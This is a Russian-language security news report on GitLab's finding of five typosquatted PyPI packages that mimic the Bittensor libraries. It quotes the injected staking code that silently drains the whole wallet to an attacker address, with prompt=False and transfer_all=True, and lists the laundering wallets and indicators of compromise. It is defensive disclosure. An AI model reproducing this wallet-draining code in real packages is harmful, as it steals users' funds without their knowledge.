Команда исследования уязвимостей GitLab выявила целенаправленную атаку на экосистему Bittensor с использованием поддельных пакетов в репозитории Python Package Index (PyPI). Злоумышленники создали типосквоттинг-версии популярных библиотек Bittensor, чтобы перехватывать криптовалютные средства пользователей при операциях стейкинга.
Описание
Как работала атака?
Аналитики GitLab обнаружили пять вредоносных пакетов, опубликованных в PyPI 6 августа 2025 года в течение 25 минут. Среди них были bitensor, bittenso-cli, qbittensor и другие вариации, имитирующие официальные библиотеки bittensor и bittensor-cli, которые используются в децентрализованной сети искусственного интеллекта Bittensor.
Главным инструментом атаки стало внедрение вредоносного кода в функцию stake_extrinsic, расположенную в файле bittensor_cli/src/commands/stake/add.py. Вместо перевода токенов на стейкинг-контракт код автоматически отправлял все средства на заранее указанный кошелёк злоумышленников:
1 2 3 4 5 6 7 8 | result = await transfer_extrinsic( subtensor=subtensor, wallet=wallet, destination="5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR", amount=amount, transfer_all=True, prompt=False ) |
Код был настроен так, чтобы:
- Не запрашивать подтверждение (prompt=False), скрывая кражу от пользователя.
- Полностью опустошать кошелёк (transfer_all=True), забирая не только сумму для стейкинга, но и все доступные средства.
- Перенаправлять средства на фиксированный адрес атакующего.
Почему злоумышленники выбрали стейкинг?
Стейкинг - процесс блокировки криптовалюты для поддержки работы блокчейна с получением вознаграждения - стал идеальной мишенью по нескольким причинам:
- Высокая ценность активов: Пользователи, участвующие в стейкинге, обычно хранят значительные суммы.
- Доступ к кошельку: Для стейкинга необходима авторизация, что даёт вредоносному коду доступ к средствам.
- Ожидаемые транзакции: Поскольку стейкинг подразумевает переводы, аномальная активность не вызывает подозрений сразу.
Траектория перемещения украденных средств
GitLab отследила путь украденных средств:
- Первоначальное получение: Все средства поступали на адрес 5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR.
- Распределение: Деньги перемещались через несколько промежуточных кошельков, включая 5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1 и 5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC.
- Консолидация: В конечном итоге средства сводились к адресу 5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu.
Стратегия типосквоттинга
Злоумышленники использовали классический метод типосквоттинга, рассчитывая на ошибки разработчиков при установке пакетов через *pip install*. Например:
- bitensor вместо bittensor (пропущена буква t).
- bittenso вместо bittensor (пропущена последняя r).
- Использование версий (9.9.4, 9.9.5), схожих с актуальными релизами оригинальных пакетов.
Выводы и рекомендации
GitLab оперативно удалила вредоносные пакеты из PyPI, однако инцидент подчёркивает важность проверки источников устанавливаемых зависимостей. Разработчикам рекомендуется:
- Внимательно проверять названия пакетов при установке.
- Использовать проверенные репозитории и инструменты сканирования уязвимостей.
- Отключать автоматическое подтверждение транзакций в кошельках.
GitLab продолжает мониторинг угроз в цепочке поставок ПО, чтобы предотвратить подобные атаки в будущем. Полный технический отчёт доступен в блоге компании.
Индикаторы компрометации
Malicious PyPI package
- pkg:pypi/bitensor@9.9.4
- pkg:pypi/bitensor@9.9.5
- pkg:pypi/bittenso@9.9.5
- pkg:pypi/bittenso-cli@9.9.4
- pkg:pypi/qbittensor@9.9.4
Bittensor (TAO) wallet address
- 5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR